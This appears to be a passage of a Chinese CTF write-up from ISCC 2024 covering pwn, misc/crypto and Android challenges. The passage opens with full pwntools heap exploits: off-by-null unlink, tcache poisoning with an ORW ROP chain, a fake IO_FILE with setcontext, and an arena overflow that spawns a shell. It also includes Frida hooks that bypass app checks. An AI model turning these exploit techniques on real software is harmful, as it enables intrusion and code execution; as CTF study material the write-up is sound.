   p.recvuntil(b'Index')
   p.sendline(bytes(str(id),'utf-8'))
 
 
 
 create(0x500)
 create(0x20)
 free(0)
 create(0x500,b'a'*4)
 show(0)
 
 libc_add=u32(p.recvuntil(b'\xf7')[-4:])
 malloc_hook=libc_add-56-0x18
 libcbase=malloc_hook-libc.symbols['__malloc_hook']
 system=libcbase+libc.symbols['system']+1
 puts=libcbase+libc.symbols['puts']
 
 success('malloc_hook '+hex(malloc_hook))
 success('libcbase '+hex(libcbase))
 free(1)
 free(2)
 
 create(0x8,p32(system)+b';sh;')
 show(1)
 
 
 p.interactive()
eazy_heap

先checksec

img

有沙盒,看一下禁用

img

看一下过滤

img

继续看add函数与edit函数发现off_by_null漏洞

img

利用large chunk 泄露出libc和heap地址,再进行unlink实现堆重叠

img

from pwn import*
 context(arch=amd64;, os=&apos;linux&apos;,log_level="debug")
 libc = ELF("./libc.so.6")
 elf =ELF(&apos;./CAT_DE&apos;)
 p = process(&apos;./CAT_DE&apos;)
 
 def add(size,content):
   p.sendlineafter("input your car choice >> ","1")
   p.sendlineafter("size:",str(size))
   p.sendafter("content:",content)
 
 def edit(idx,content):
   p.sendlineafter("input your car choice >> ",&apos;4&apos;)
   p.sendlineafter("idx:",str(idx))
   p.sendafter("content:",content)
 
 def show(idx):
   p.sendlineafter("input your car choice >> ",&apos;3&apos;)
   p.sendlineafter("idx:",str(idx))
 
 def dele(idx):
   p.sendlineafter("input your car choice >> ",&apos;2&apos;)
   p.sendlineafter("idx:",str(idx))
 
 add(0x440,"AAA")
 add(0x88,"AAA")
 add(0x440,"AAAA")
 add(0x88,"AAA")
 dele(0)
 dele(2)
 add(0x450,"AAAA")
 add(0x440,"AAAAAAAA")
 add(0x440,"BBBBBBBB")
 show(4)
 
 p.recvuntil(&apos;\0&apos;)
 libc.address = u64(p.recv(6).ljust(8,b"\x00")) -0x21a000 - 0xe0
 success(&apos;libc_base----->&apos;+hex(libc.address))
 
 envrion = libc.sym[&apos;environ&apos;]
 stdout = libc.sym[&apos;_IO_2_1_stdout_&apos;]
 print(hex(libc.address))
 p.recv(2)
 
 heap_addr = u64(p.recv(8)) - 0x290
 print(hex(heap_addr))
 
 for i in range(7):
   add(0xf8,"AAA")
 
 add(0x108,"AAA")
 add(0xf0,"AAAA")
 add(0x88,"AAA")
 
 for i in range(7):
   dele(i+5)
 
 target = heap_addr + 0x17c0
 ptr = heap_addr + 0xc60
 edit(0,p64(target))
 payload = p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr - 0x10)
 payload = payload.ljust(0x100,b"\x00") + p64(0x100)
 edit(12,payload)
 dele(13)
 
 add(0xe8,"AAAA")
 add(0xe8,"AAAA")
 
 dele(5)
 dele(6)
 show(12)
 p.recvuntil("\xf1")
 p.recv(7)
 en_key = u64(p.recv(8))
 print("en_key ===> " + hex(en_key))
 key = u64(p.recv(8))
 print("key ===> " + hex(key))
 payload = p64(0)+p64(0xf1)+p64(en_key)+p64(key)
 payload = payload.ljust(0xf0,b"\x00") + p64(0) + p64(0xf1) + p64((heap_addr+0x10)^en_key)
 edit(12,payload)
 
 add(0xe8,"AAAA")
 add(0xe8,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(envrion-16))
 print(hex(stdout))
 
 add(0xd0,"A"*8)
 show(7)
 stack = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 0x140 - 8
 print(hex(stack))
 edit(6,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(stack))
 
 
 pop_rdi = 0x000000000002a3e5 + libc.address
 pop_rsi = 0x000000000002be51 + libc.address
 pop_rdx_r12 = 0x000000000011f497 + libc.address
 read_addr = libc.sym[&apos;read&apos;]
 open_addr = libc.sym[&apos;open&apos;]
 write_addr = libc.sym[&apos;write&apos;]
 
 orw = p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(0) + p64(open_addr)
 orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(read_addr)
 orw += p64(pop_rdi) + p64(1) + p64(write_addr)
 add(0xd0,b"./flag".ljust(8,b"\x00")+orw)

p.interactive()
heapheap
from pwn import *
p=remote('182.92.237.102',11000)
libc=ELF('./libc-2.31.so')


def create(idx,Size):
    p.recvuntil(b'choice')
    p.sendline(b'1')
    p.recvuntil(b'index')
    p.sendline(bytes(str(idx),'utf-8'))
    p.recvuntil(b'Size')
    p.sendline(bytes(str(Size),'utf-8'))
def free(id):
    p.recvuntil(b'choice')
    p.sendline(b'4')
    p.recvuntil(b'index')
    p.sendline(bytes(str(id),'utf-8'))
def edit(id,Content):
    p.recvuntil(b'choice')
    p.sendline(b'3')
    p.recvuntil(b'index')
    p.sendline(bytes(str(id),'utf-8'))
    p.recvuntil(b'context')
    p.send(Content)
def show(id):
    p.recvuntil(b'choice')
    p.sendline(b'2')
    p.recvuntil(b'index')
    p.sendline(bytes(str(id),'utf-8'))

create(0,0x420)
create(1,0x410)
create(2,0x410)
create(3,0x410)
free(0)
show(0)

libc_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libcbase=libc_add-libc.symbols['__malloc_hook']-96-0x10
io_list_all=libcbase+0x1ed5a0
log.info('libcbase '+hex(libcbase))
log.info('io_list_all '+hex(io_list_all))

create(4,0x430)
edit(0,b'a'*(0x10-1)+b'A')
show(0)
p.recvuntil(b'A')
heap_add=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
log.info('heap_add '+hex(heap_add))

fd=libcbase+0x1ecfd0
payload=p64(fd)*2+p64(heap_add)+p64(io_list_all-0x20)
edit(0,payload)

free(2)
create(5,0x470)
free(5)


openadd=libcbase+libc.sym['open']
readadd=libcbase+libc.sym['read']
writeadd=libcbase+libc.sym['write']
setcontextadd=libcbase+libc.sym['setcontext']
rdi=libcbase+0x0000000000023b6a
rsi=libcbase+0x000000000002601f
rdx_r12=libcbase+0x0000000000119431
ret=libcbase+0x0000000000022679


chunk_small=heap_add+0x850
IO_wfile_jumps=libcbase+0x1e8f60
fakeIO_add=chunk_small
orw_add=fakeIO_add+0x200
A=fakeIO_add+0x40
B=fakeIO_add+0xe8+0x40-0x68
C=fakeIO_add

fake_IO=b''
fake_IO=fake_IO.ljust(0x18,b'\x00')
fake_IO+=p64(1) 
fake_IO=fake_IO.ljust(0x78,b'\x00')
fake_IO+=p64(fakeIO_add)
fake_IO=fake_IO.ljust(0x90,b'\x00')
fake_IO+=p64(A)
fake_IO=fake_IO.ljust(0xc8,b'\x00')
fake_IO+=p64(IO_wfile_jumps)
fake_IO+=p64(orw_add)+p64(ret)+b'\x00'*0x30
fake_IO+=p64(B)+p64(setcontextadd+61)

flag_add=orw_add+0x100+0x10

orw = p64(rdi)+ p64(flag_add) + p64(rsi) + p64(0)  + p64(openadd)
orw += p64(rdi)+ p64(3)+p64(rsi)+p64(flag_add)+p64(rdx_r12)+p64(0x50)+p64(0)+p64(readadd)
orw += p64(rdi)+p64(1)+p64(writeadd)

payload=fake_IO
payload=payload.ljust(0x200-0x10,b'\x00')
payload+=orw
payload=payload.ljust(0x300,b'\x00')
payload+=b'flag\x00'

edit(2,payload)

p.recvuntil(b'choice')
p.sendline(b'5')

p.interactive()

shopping

img

查看保护

img

利用线程,堆溢出,没有free函数,有system函数,bss段上有函数指针。申请堆块把mmap的 内存分配完,使线程arena重新分配到高地址,之后利用堆溢出覆盖arena,伪造一个 fastbin 到 bss 段附近。之后申请fastbin并改bss上的write为system

from pwn import *
 path = "./attachment-11"
 sh = remote('182.92.237.102',10019)
 elf = ELF(path)
 system_plt = elf.plt['system']
 sh.sendlineafter('Enter the password:', "I'm ready for shopping")
 def add(size, n, content=''):
 
   sh.sendlineafter(b'Action:', '1')
   sh.sendlineafter(b'Item ID:', str(size))
   sh.sendlineafter(b'Quantity:', str(n))
   if content == '':
     sh.sendlineafter(b'Add gift message? (0/1):', '0')
   else:
     sh.sendlineafter(b'Add gift message? (0/1):', '1')
     sh.sendafter(b'Message: ', content)
 for i in range(12):
   add(0x4000, 1000)
 add(0x4000, 262, '0' * 0x3FF0)
 \# 溢出,修改thread_arena,将bss上的fake_chunk接到fastbin 里
 payload = b'1' * 0x50 + p32(0) + p32(3) + 10 * p64(0x60201d)
 sleep(0.2)
 sh.send(payload)
 sleep(0.2)
 payload = b'/bin/sh'.ljust(0xB, b'\x00') + p64(system_plt)
 payload = payload.ljust(0x60, b'b')
 add(0x60, 0, payload)
 sh.interactive()

misc

RSA_KU

题目

n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977

e = 65537

c = 61918852171742812739170043437002663063220951248500520391346547769626444018847465000233524935204828371169075383168689291787795697907657466404998448030495394418574086934880165211797319092676677396225423260560646131473610171818604200105740824508871825045866770557049128059598517787931221212352116693867787324441

#(p-2)*(q-1) = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668067056973833292274532016607871906443481233958300928276492550916101187841666991944275728863657788124666879987399045804435273107746626297122522298113586003834

#(p-1)*(q-2) = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668066482326285878341068180156082719320570801770055174426452966817548862938770659420487687194933539128855877517847711670959794869291907075654200433400668220458

直接写脚本

img

import gmpy2
 from Crypto.Util.number import *
 
 n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977
 e = 65537
 c = 61918852171742812739170043437002663063220951248500520391346547769626444018847465000233524935204828371169075383168689291787795697907657466404998448030495394418574086934880165211797319092676677396225423260560646131473610171818604200105740824508871825045866770557049128059598517787931221212352116693867787324441
 n1 = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668067056973833292274532016607871906443481233958300928276492550916101187841666991944275728863657788124666879987399045804435273107746626297122522298113586003834 # (p-2)*(q-1)
 n2 = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668066482326285878341068180156082719320570801770055174426452966817548862938770659420487687194933539128855877517847711670959794869291907075654200433400668220458 # (p-1)*(q-2)
 ppq = (n - n1 + n - n2 + 4) // 3 # p+q
 '''n-(p-2)*(q-1)=pq-(pq-p-2q+2)=p+2q-2 ①
  n-(p-1)*(q-2)=pq-(pq-2p-q+2)=2p+q-2 ②
  ①+②:n-(p-2)*(q-1)+n-(p-1)*(q-2)=3*(p+q)-4
  p+q=(n-(p-2)*(q-1)+n-(p-1)*(q-2)+4)/3'''
 phi = n - ppq + 1 # phi=(p-1)*(q-1)=pq-(p+q)+1
 d = gmpy2.invert(e, phi)
 flag = long_to_bytes((pow(c, d, n)))
 print(flag)
时间刺客

分析流量包

img

在使用wireshark捕捉到的流量中,我们主要看第三个字节的内容,将它与按键值相对以得出按键内容。

所以使用wireshark的tshark得到文件

img

使用脚本冒号分割得到文件

用脚本提取6-8的值

img

发现flag不对,利用另一个压缩包解压发现18文档,猜测时间隐写

img

脚本尝试

img

with open('/root/桌面/usn.txt', 'r') as f, open('out.txt', 'w') as fi:
   while True:
     a = f.readline().strip()
     if a:
       if len(a) == 16:
         out = ':'.join([a[i:i+2] for i in range(0, len(a), 2)])
         fi.write(out + '\n')
     else:
       break
def uppercase_to_lowercase(text):
    # 使用内置函数转换大写字母为小写字母
    return text.lower()

# 测试转换函数
input_text = "FLAGPR3550NWARDSA2FEE6E0"

output_text = uppercase_to_lowercase(input_text)

print("转换前: " + input_text)
print("转换后: " + output_text)
import os
for i in range(18):
    filename = ("D:\\浏览器下载\\Edge下载\\attachment-27\\9\\.{0}.txt").format(i)
    file_attr = os.stat(filename)
    create_time = str(file_attr.st_mtime)
    print(chr(int(create_time[7:10])),end='')
工业互联网模拟仿真数据分析

题目一:ip长度固定的只有1.2-1.4

img

192.168.1.2,192.168.1.4

题目二:

tshark -r 工业互联网模拟仿真数据.pcap -T fields -e data.data -Y “data.len==12”

img

明显确定字段就是2024

题目三:

192.168.1.3-192.168.1.5时间大致相同

文末第五组时间间隔是固定的0.6

题目四:

192.168.1.3,192.168.1.2,192.168.1.6

题目五:

五个字符校验算法,假设CRC16,CRC32

倒数位必为1 尝试CRC16CRC32并尝试0-10为起始位

为CRC16,4,1时成功提交

img

Number_is_the_key

img

修改后缀zip

解压后在worksheets运行脚本

得到1.xlsx,调整行高与行列扫码

img

import xmltodict

import json

 

 

def xml_to_json(xml_string):

  xml_dict = xmltodict.parse(xml_string)

  json_data = json.dumps(xml_dict, indent=4)

  return json_data

 

f = open("sheet1.xml", mode="r").read()

json_content = xml_to_json(f)

json_content = json.loads(json_content)

 

data = json_content["worksheet"]["sheetData"]["row"]

 

t = []

for num in range(len(data)):

  for d in data[num]["c"]:

​    t.append(d["@r"])

 

from openpyxl import Workbook

from openpyxl.styles import PatternFill

 

wb = Workbook()

ws = wb.active

 

for d in t:

  cell_to_fill = ws[d]

  fill = PatternFill(start_color='00FF00', end_color='FFFFFF', fill_type='solid')

  cell_to_fill.fill = fill

 

wb.save("1.xlsx")
钢铁侠在解密

使用silentey打开得到c1,c2

img

img

在sage环境下运行脚本得到flag

img

def HGCD(a, b):
   if 2 * b.degree() <= a.degree() or a.degree() == 1:
     return 1, 0, 0, 1
   m = a.degree() // 2
   a_top, a_bot = a.quo_rem(x ^ m)
   b_top, b_bot = b.quo_rem(x ^ m)
   R00, R01, R10, R11 = HGCD(a_top, b_top)
   c = R00 * a + R01 * b
   d = R10 * a + R11 * b
   q, e = c.quo_rem(d)
   d_top, d_bot = d.quo_rem(x ^ (m // 2))
   e_top, e_bot = e.quo_rem(x ^ (m // 2))
   S00, S01, S10, S11 = HGCD(d_top, e_top)
   RET00 = S01 * R00 + (S00 - q * S01) * R10
   RET01 = S01 * R01 + (S00 - q * S01) * R11
   RET10 = S11 * R00 + (S10 - q * S11) * R10
   RET11 = S11 * R01 + (S10 - q * S11) * R11
   return RET00, RET01, RET10, RET11
 
 
 def GCD(a, b):
   print(a.degree(), b.degree())
   q, r = a.quo_rem(b)
   if r == 0:
     return b
   R00, R01, R10, R11 = HGCD(a, b)
   c = R00 * a + R01 * b
   d = R10 * a + R11 * b
   if d == 0:
     return c.monic()
   q, r = c.quo_rem(d)
   if r == 0:
     return d
   return GCD(d, r)
 
 c1=5076817159644284489752592210242773102660426508117181937948911619431512241757030406924147354048071102967570248967908797632758646048608977793319981301703073964926203826279407377000854710036850752220172324140037982778927205852156640767059657359654164550337810290898205908861706856113881285424771811468102456636326834296373922520441272504298395851395626615617185890285245083142892116446447256095010792842566734252333650808535545786679385779303087027295801821635183758626470840471276560369809650320327902908711167918541074698615525459114815945554924681668054116276031112053303566040123507441931218947480467194031188428634
 c2=14319831303928472545812568536780833289039883071572856147154018613137126307742077011875046668440242517667937885419570751621703078744848426080876810835027534858383669590312500984098502342208883110539044163205843260923218947413373475086327935443177462771919342654520442262745936510987360908926419802472398169691423961063788179894416320705980948575179620945045611983357171785849497916646360163588557635020483695089545678515145590972907970279225768829947087656258047056985850609958966626076587036605384313888643016722162347711895278005073381058547487127444030312426649155866412958385007498461132248511453557868167936973078
 
 N = 14333611673783142269533986072221892120042043537656734360856590164188122242725003914350459078347531255332508629469837960098772139271345723909824739672964835254762978904635416440402619070985645389389404927628520300563003721921925991789638218429597072053352316704656855913499811263742752562137683270151792361591681078161140269916896950693743947015425843446590958629225545563635366985228666863861856912727775048741305004192164068930881720463095045582233773945480224557678337152700769274051268380831948998464841302024749660091030851843867128275500525355379659601067910067304244120384025022313676471378733553918638120029697
 e = 52595
 
 pad1 = 1769169763
 pad2 = 1735356260
 PR.<x>=PolynomialRing(Zmod(N))
 g1 = (x*2^32+pad1)^e - c1
 g2 = (x*2^32+pad2)^e - c2
 X=584734024210292804199275855856518183354184330877
 print(g1(X),g2(X))
 res = GCD(g1,g2)
 m = -res.monic().coefficients()[0]
 print(m)
 
 print(bytes.fromhex(hex(m)[2:]).decode().replace("flag{",'ISCC{'))
成语学习

将文件夹里的something解压

爆破密码是57pmYyWt

修改成zip,找到,将flag.txt解密

img

内容是成语,密钥是食物

image-20240520202441392

FunZip

解压打开文件,使用puzzlesolver工具解码

img

有人让我给你带个话

附件kali环境音频解码

img

将音频转为文本得到

img

解码

image-20240520202740692

精装四合一

四个图片中每个图片的文件尾部都带着一串数据,我们看到这些数据都异或0xff都会是一个zip文件的一 部分,那么写个脚本将这四个文件的文件尾提取出来再进行异或0xff,然后再拼接,会得到一个zip

zip爆破密码是65537,这是个e值

ctrl+a全选,字体,取消隐藏

img

16920251144570812336430166924811515273080382783829495988294341496740639931651

检查文件头word也是zip

img

看到trueflag

img

010打开,是16进制

img

运行脚本得到

img

def trim_and_xor_with_ff(input_filename, output_filename, target_hex):

 

  \# 将16进制字符串转换为字节

  target_bytes = bytes.fromhex(target_hex.replace(' ', ''))

  \# 初始化一个标志位,表示是否已经找到目标字节序列

  found_target = False

  with open(input_filename, 'rb') as infile, open(output_filename, 'wb') as outfile:

 

\# 读取文件的字节

​    while True:

​      chunk = infile.read(4096) # 一次读取4096字节if not chunk:break # 如果文件读取完毕,则退出循环

  \# 检查目标字节序列是否在块中

​      index = chunk.find(target_bytes)if index != -1:

​    \# 如果找到,则只处理目标字节序列之后的部分

​        if not found_target:

​      \# 跳过包含目标字节序列的块中目标之前的部分

​          chunk = chunk[index + len(target_bytes):]

​          found_target = True

​      \# 对剩余部分进行异或操作

​        xor_chunk = bytes([b ^ 0xFF for b in chunk])

​        outfile.write(xor_chunk)elif found_target:

​    \# 如果已经找到目标字节序列,则直接对整个块进行异或操作

​        xor_chunk = bytes([b ^ 0xFF for b in chunk])

​        outfile.write(xor_chunk)

​    \# 如果尚未找到目标字节序列,则不处理该块(因为我们只关心目标之后的数据)

\# 使用函数

input_filename = 'left_hand_invert.png' # 输入文件名

output_filename = '2' # 输出文件名

target_hex = 'AE426082' # 要查找的16进制字符串

trim_and_xor_with_ff(input_filename, output_filename, target_hex)

input_filename = 'left_foot_invert.png' # 输入文件名

output_filename = '1' # 输出文件名

trim_and_xor_with_ff(input_filename, output_filename, target_hex)

input_filename = 'right_hand_invert.png' # 输入文件名

output_filename = '4' # 输出文件名

trim_and_xor_with_ff(input_filename, output_filename, target_hex)

input_filename = 'right_foot_invert.png' # 输入文件名

output_filename = '3' # 输出文件名

trim_and_xor_with_ff(input_filename, output_filename, target_hex)

\#文件拼接

f1=open('1','rb')

f2=open('2','rb')

f3=open('3','rb')

f4=open('4','rb')

f5=open('1.zip','wb')

for i in range(3176):

 

  f5.write(f1.read(1))

  f5.write(f2.read(1))

  f5.write(f3.read(1))

  f5.write(f4.read(1))

f5.write(f1.read(1))
import gmpy2

from Crypto.Util.number import *

from binascii import a2b_hex,b2a_hex

import binascii

e = 65537

c = 0x1cb2d409f66fa525fe6a300cca1e81fc4edf1f2aa2a70283a48d0840e6333864

\#1.将n分解为p和q

p = 100882503720822822072470797230485840381

q = 167722355418488286110758738271573756671

n = p*q

phi = (p-1)*(q-1)

\#2.求d

d = gmpy2.invert(e,phi)

\#3.m=pow(c,d,n)

m = gmpy2.powmod(c,d,n)

print(long_to_bytes(m))

mobile

Puzzle_Game

打开逆向软件分析

img

img

import java.nio.charset.StandardCharsets; import java.util.Base64;

import java.util.Random;

 

 

public class Test {

private static String combineStrings(String arg1, String arg2) { return arg1 + arg2;

}

private static byte[] customEncrypt(byte[] arg4, byte[] arg5) { byte[] v0 = new byte[arg4.length];

int v1;

for(v1 = 0; v1 < arg4.length; ++v1) {

v0[v1] = (byte)(arg4[v1] ^ arg5[v1 % arg5.length]);

}

return v0;

}

public static String encrypt(String arg3, String arg4) { byte[] v0 = generateSalt(16);

byte[] v3 = customEncrypt(combineStrings(arg3, arg4).getBytes(StandardCharsets.UTF_8), v0);

byte[] v4 = new byte[v0.length + v3.length];

System.arraycopy(v0, 0, v4, 0, v0.length); System.arraycopy(v3, 0, v4, v0.length, v3.length); return Base64.getEncoder().encodeToString(v4);

}

 

 

public static String encrypt2(String arg3) {

byte[] v3 = arg3.getBytes(StandardCharsets.UTF_8); int v0 = 0;

int v1;

for(v1 = 0; v1 < v3.length; ++v1) {

v3[v1] = (byte)((v3[v1] + 0x7F) % 0x100);

}

 

 

byte[] v1_1 = new byte[v3.length]; while(v0 < v3.length) {

v1_1[v0] = (byte)(v0 % 2 == 0 ? v3[v0] ^ 0x7B : v3[v0] ^ 0xEA);

++v0;

}

 

return Base64.getEncoder().encodeToString(v1_1);

}

private static byte[] generateSalt(int i) { byte[] bArr = new byte[i];

new Random(2983L).nextBytes(bArr); return bArr;

}

 

 

 

public static void main(String[] args) { System.out.println("ISCC{"+encrypt2(encrypt("04999999",

"gwC9nOCNUhsHqZm")).substring(0, 32)+"}");

}

}
ohHELP
无hook值的AesUtil.encrypt

Getkey返回空值导致check的a.a()异常

Assets到ssh找打word,进行镜像反转后得到”PUDzbflthjqxlJVW”,猜测是GetKey的返回值
设置返回值

let Myjni = Java.use(“com.example.ohhelp.MyJNI.Myjni”);

Myjni[“GetKey”].implementation = function () {

console.log(‘GetKey is called’);

let ret = this.GetKey();

console.log('GetKey ret value is ’ + ret);

return “PUDzbflthjqxlJVW”;

};

getstr反射调用com.example.ohhelp.getstr.generateRandomString

img

发现校验property时会退出

img

frida设置System.getProperty返回值

let System = Java.use(‘java.lang.System’);

System.getProperty.overload(‘java.lang.String’).implementation = function (propertyName) {

var returnValue = this.getProperty(propertyName);

console.log("System.getProperty called with propertyName: " + propertyName + ", returned: " + returnValue);

if (propertyName === “java.vm.vendor”) {

​ return “”;

}

return returnValue;

};

后续hook AesUtil.encrypt就不会退出

img

Gettime返回的时当前时间戳,根据描述求出正确时间戳

img

设置返回值gettime

let Myjni = Java.use(“com.example.ohhelp.MyJNI.Myjni”);

Myjni[“GetTime”].overload().implementation = function () {

console.log(‘GetTime is called’);

let ret = this.GetTime();

console.log('GetTime ret value is ’ + ret);

return “1055853128000”;

};

hook AesUtil.encrypt得到返回值即为flag

function hook() {

Java.perform(function () {

​ let Myjni = Java.use(“com.example.ohhelp.MyJNI.Myjni”);

​ Myjni[“GetTime”].overload().implementation = function () {

​ console.log(‘GetTime is called’);

​ let ret = this.GetTime();

​ console.log('GetTime ret value is ’ + ret);

​ return “1055853128000”;

​ };

​ Myjni[“GetKey”].implementation = function () {

​ console.log(‘GetKey is called’);

​ let ret = this.GetKey();

​ console.log('GetKey ret value is ’ + ret);

​ return “PUDzbflthjqxlJVW”;

​ };

​ let AesUtil = Java.use(“com.example.ohhelp.AesUtil”);

​ AesUtil[“encrypt”].overload(‘java.lang.String’, ‘java.lang.String’).implementation = function (str, str2) {

​ console.log(‘encrypt is called’ + ', ’ + 'str: ’ + str + ', ’ + 'str2: ’ + str2);

​ let ret = this.encrypt(str, str2);

​ console.log('encrypt ret value is ’ + ret);

​ return ret;

​ };

​ let System = Java.use(‘java.lang.System’);

​ System.getProperty.overload(‘java.lang.String’).implementation = function (propertyName) {

​ var returnValue = this.getProperty(propertyName);

​ console.log("System.getProperty called with propertyName: " + propertyName + ", returned: " + returnValue);

​ if (propertyName === “java.vm.vendor”) {

​ return “”;

​ }

​ return returnValue;

​ };

})

}

hook()

GetTime is called

GetTime ret value is 1715746657421

GetKey is called

GetKey ret value is null

encrypt is called, str: 1055853128000, str2: PUDzbflthjqxlJVW

encrypt ret value is UPwDHuXQBoInrKpj0VcdGA==

System.getProperty called with propertyName: java.library.path, returned: /system/lib64:/system/system_ext/lib64:/system/product/lib64:/vendor/lib64

System.getProperty called with propertyName: java.vm.vendor, returned: The Android Project

System.getProperty called with propertyName: java.library.path, returned: /system/lib64:/system/system_ext/lib64:/system/product/lib64:/vendor/lib64

System.getProperty called with propertyName: java.vm.vendor, returned: The Android Project

encrypt is called, str: UPwDHuXQOQgM2Fxv, str2: IscC20244202CcsI

encrypt ret value is VJS6yUGcQNC3K3lZ5BeYng==

ChallengeMobile

Jadx反编译后动态调试加载dex进行加密操作

img

,使用hook的native混淆方法返回值,dump下来使用脚本进行dex计算得到

img

使用以下脚本反编译

setImmediate(main);

\# 写入文件

dex_data = [100,101,120…]

 

for i in range(0, len(dex_data)):

  dex_data[i] = (dex_data[i] + 256) % 256



 

with open("mobile2.dex", "wb") as f:

  f.write(bytes(dex_data))

jadx反编译dump下来的dex。发现(52 / (length + 1)) + 6; 1640531527。是xxtea加密。Key在native里面,加密文本在isflag中。

hook loadClass方法,获取Checker类,然后主动调试getKey获取密钥。在XXTea解密即可得到flag。

flag

img

public final class Checker {
    static final boolean $assertionsDisabled = false;
    private static final int DELTA = -1640531527;

    public static native String getKey();

    static {
        System.loadLibrary("example");
    }

    private static int MX(int i, int i2, int i3, int i4, int i5, int[] iArr) {
        return (((i3 >>> 5) ^ (i2 << 2)) + ((i2 >>> 3) ^ (i3 << 4))) ^ ((i ^ i2) + (iArr[(i4 & 3) ^ i5] ^ i3));
    }

    public static final byte[] encrypt(byte[] bArr, byte[] bArr2) {
        return bArr.length == 0 ? bArr : toByteArray(encrypt(toIntArray(bArr, true), toIntArray(fixKey(bArr2), $assertionsDisabled)), $assertionsDisabled);
    }

    public static final byte[] encrypt(String str, String str2) {
        try {
            return encrypt(str.getBytes("UTF-8"), str2.getBytes("UTF-8"));
        } catch (UnsupportedEncodingException e) {
            return null;
        }
    }

    public static final String encryptToBase64String(String str, String str2) {
        byte[] encrypt = encrypt(str, str2);
        if (encrypt == null) {
            return null;
        }
        return encode(encrypt);
    }

    private static int[] encrypt(int[] iArr, int[] iArr2) {
        int length = iArr.length - 1;
        if (length >= 1) {
            int i = (52 / (length + 1)) + 6;
            int i2 = iArr[length];
            int i3 = 0;
            while (true) {
                int i4 = i - 1;
                if (i <= 0) {
                    break;
                }
                i3 -= 1640531527;
                int i5 = (i3 >>> 2) & 3;
                int i6 = 0;
                while (i6 < length) {
                    i2 = iArr[i6] + MX(i3, iArr[i6 + 1], i2, i6, i5, iArr2);
                    iArr[i6] = i2;
                    i6++;
                }
                i2 = iArr[length] + MX(i3, iArr[0], i2, i6, i5, iArr2);
                iArr[length] = i2;
                i = i4;
            }
        }
        return iArr;
    }

    private static byte[] fixKey(byte[] bArr) {
        if (bArr.length != 16) {
            byte[] bArr2 = new byte[16];
            if (bArr.length < 16) {
                System.arraycopy(bArr, 0, bArr2, 0, bArr.length);
            } else {
                System.arraycopy(bArr, 0, bArr2, 0, 16);
            }
            return bArr2;
        }
        return bArr;
    }

    private static int[] toIntArray(byte[] bArr, boolean z) {
        int[] iArr;
        int length = (bArr.length & 3) == 0 ? bArr.length >>> 2 : (bArr.length >>> 2) + 1;
        if (z) {
            iArr = new int[length + 1];
            iArr[length] = bArr.length;
        } else {
            iArr = new int[length];
        }
        int length2 = bArr.length;
        for (int i = 0; i < length2; i++) {
            int i2 = i >>> 2;
            iArr[i2] = iArr[i2] | ((bArr[i] & 255) << ((i & 3) << 3));
        }
        return iArr;
    }

    private static byte[] toByteArray(int[] iArr, boolean z) {
        int i;
        int length = iArr.length << 2;
        if (z) {
            i = iArr[iArr.length - 1];
            int i2 = length - 4;
            if (i < i2 - 3 || i > i2) {
                return null;
            }
        } else {
            i = length;
        }
        byte[] bArr = new byte[i];
        for (int i3 = 0; i3 < i; i3++) {
            bArr[i3] = (byte) (iArr[i3 >>> 2] >>> ((i3 & 3) << 3));
        }
        return bArr;
    }
function main() {

 Java.perform(function () {

  var ClassUse = Java.use("java.lang.Class");

  var dexclassLoader = Java.use("dalvik.system.DexClassLoader");

  dexclassLoader.loadClass.overload("java.lang.String").implementation =

   function (name) {

​    var hookname = "com.example.challengemobile.Checker";

​    var result = this.loadClass(name, false);

 

​    if (name == hookname) {

​     var hookClass = result;

​     //类型转换

​     var hookClassCast = Java.cast(hookClass, ClassUse);

​     // public static native String getKey();

​     var method = hookClassCast.getMethod("getKey", []);

​     //获取方法的返回值

​     var result = method.invoke(null, []);

​     console.log("result:", result);

​     return result;

​    }

​    return result;

   };

 });

}

 

setImmediate(main);

擂台题

misc

重“隐”

img使用puzz查看图片,压缩包

foremost分离压缩包

img

解压需要密码,先看音频文件

img

解码九宫格

827342312231334132->九宫格->urhdbdfge

上部分flag

img

Deepsound打开音频需要密码,

使用deepsound2john.py脚本获取密码hash值,并使用kali的john爆破工具

img

得到密码teenager

得到message.txt

img

使用文字盲水印解密得到后部分flag

#! python3

 

import logging

import os

import sys

import textwrap

 

def decode_data_low(buf):

 return buf[::2]

 

def decode_data_normal(buf):

 out = bytearray()

 for i in range(0, len(buf), 4):

  out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15))

 return out

 

def decode_data_high(buf):

 out = bytearray()

 for i in range(0, len(buf), 8):

  out.append((buf[i] & 3) << 6   | (buf[i + 2] & 3) << 4 \

​       | (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3))

 return out

 

 

def is_magic(buf):

 \# This is a more efficient way of testing for the `DSCF` magic header without

 \# decoding the whole buffer

 return (buf[0] & 15) == (68 >> 4) and (buf[2] & 15) == (68 & 15) \

   and (buf[4] & 15) == (83 >> 4) and (buf[6] & 15) == (83 & 15) \

   and (buf[8] & 15) == (67 >> 4) and (buf[10] & 15) == (67 & 15) \

   and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15)

 

def is_wave(buf):

 return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE'

 

 

def process_deepsound_file(f):

 bname = os.path.basename(f.name)

